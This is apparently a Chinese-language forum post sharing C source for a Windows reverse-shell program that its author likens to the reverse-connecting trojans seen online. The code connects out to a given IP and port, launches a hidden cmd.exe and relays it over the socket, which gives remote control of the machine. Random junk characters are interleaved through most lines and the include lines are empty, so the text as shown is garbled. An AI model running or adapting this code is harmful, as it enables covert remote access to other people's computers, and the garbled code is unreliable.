这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cR_85
r6JdF!\d
/* ============================== F~4oPB K<
Rebound port in Windows NT cjp
H
hoW
By wind,2006/7 n-0RA~5z
===============================*/ XJ.bK
#include a|{RK}|3
#include m&cVda/
^*`hJ48u
#pragma comment(lib,"wsock32.lib") n}}$-xl
rISg`-
void OutputShell(); ZXlW_CGO
SOCKET sClient; :OQx;>'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DavpjwSn
:[A>O(
void main(int argc,char **argv) *\L\Bzm
{ ncjtv"2R
WSADATA stWsaData; ?%d]iTZE
int nRet; J{`G=
SOCKADDR_IN stSaiClient,stSaiServer; ?@!dc6
]Vuq)#
if(argc != 3) ~QQi{92
{ /p}^Tpu
printf("Useage:\n\rRebound DestIP DestPort\n"); Q!9AxM2K
return; 2= S;<J
} Db3#;
1<IF@__
WSAStartup(MAKEWORD(2,2),&stWsaData); 3+ JkV\AF
HN?NY
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^`?2g[AA
g
67;O(3
stSaiClient.sin_family = AF_INET; )!+~q!A
stSaiClient.sin_port = htons(0); P;GRk6
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ER-X1fD
Rw-!P>S$
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8&t3a+8l
{ xy;u"JY*
printf("Bind Socket Failed!\n"); 'So,*>]63
return; mO=bq4!
} .W>LEz'
^--kcTiR%
stSaiServer.sin_family = AF_INET; K8,Q^!5]"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W:VRLT>w>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2<q.LQ}<
,aq0Q<}~lc
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^/b3_aM5d
{ '~{bq'7`m
printf("Connect Error!"); M ^S <G
return; :rR)rj'
} v!~tX*q
OutputShell(); AYb-BaIc
} ~?E.U,R
Q#M@!&
void OutputShell() Pr|BhX
{ $z[FL=h)?+
char szBuff[1024]; kMd1)6%6A
SECURITY_ATTRIBUTES stSecurityAttributes; Ww\M3Q`h
OSVERSIONINFO stOsversionInfo; g4z*6L,u
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `-yo-59E[
STARTUPINFO stStartupInfo; Fp=O:]
char *szShell; !79eF)
PROCESS_INFORMATION stProcessInformation; -9)H[}.
unsigned long lBytesRead; ;D'6sd"
>x'R7z23
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l|{q8i#4V
X3mHg5zt
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); csK;GSp}
stSecurityAttributes.lpSecurityDescriptor = 0; ,y5,+:Y
~
stSecurityAttributes.bInheritHandle = TRUE; VO
u/9]a
rHngYcjR
Q> d<4]`
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
|k,M$@5s
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); eICavp
z.Y`"B'j`
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {mO QRAKl
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w{+G/Ea
stStartupInfo.wShowWindow = SW_HIDE; }aSTo"~m#
stStartupInfo.hStdInput = hReadPipe; [8%R*}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R^*%yjy9
g$S|CqRG
GetVersionEx(&stOsversionInfo); %7}ibz4iF
{#U3A_y
switch(stOsversionInfo.dwPlatformId) E!"N}v
{ C"7-lz
case 1: <ddXvUCX
szShell = "command.com"; fmgXh)=
break; CqFk(Td9-D
default: ^]n:/kZ5"[
szShell = "cmd.exe"; H"5=z7w
break; \Dlmrke
} ,uoK'_
-_[ZRf?^
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yor6h@F1
3%~c\naD?O
send(sClient,szMsg,77,0); 0#y
i5U
while(1) &)
qs0
{ 6Cj$x.-K
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n F1}?
if(lBytesRead) W#Eg\nT
{ K6Z/
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0&Z+P?Wb4
send(sClient,szBuff,lBytesRead,0); a'!p^/6?
} T"_f9?
else 3q-Xj:FP
{ BG/Q7s-?K
lBytesRead=recv(sClient,szBuff,1024,0); SPu+t3
if(lBytesRead<=0) break; eHE?#r16Z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XP%/*am
} IoKN.#;^
} _jWGwO
g>*P}r~;^b
return;
:q34KP
}